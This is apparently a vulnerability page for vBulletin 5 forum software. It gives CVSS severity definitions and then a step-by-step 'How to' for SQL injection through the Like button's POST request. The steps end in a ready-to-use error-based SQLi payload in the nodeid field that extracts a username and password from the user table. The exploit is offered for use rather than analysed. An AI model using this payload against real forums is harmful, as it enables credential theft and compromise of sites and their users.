The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

How to
-------------------------------------------------------------------
-------------------------------------------------------------------
[#1] First of all, make an account to the vBulletin 5 forum,
http://img402.imageshack.us/img402/7784/69376730.png
-------------------------------------------------------------------
[#2] After that, go to any topic and open Live HTTP Headers (https://addons.mozilla.org/en-us/fir...-http-headers/)
http://imageshack.us/a/img12/305/89268702.png
-------------------------------------------------------------------
[#3] After that click the Like button, you will receive almost the same result as me. Go to the first POST record as the picture below and click Replay button,

-------------------------------------------------------------------
[#4] Then, on Send POST Content use this:
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
-------------------------------------------------------------------------------------------------------------------------------------------------------------------

//Note that to keep the noteid value as it was as default in the POST Content. Instead you`ll get invalid noteid error.
The following SQLi command will fetch out the first record from user table(username/password).
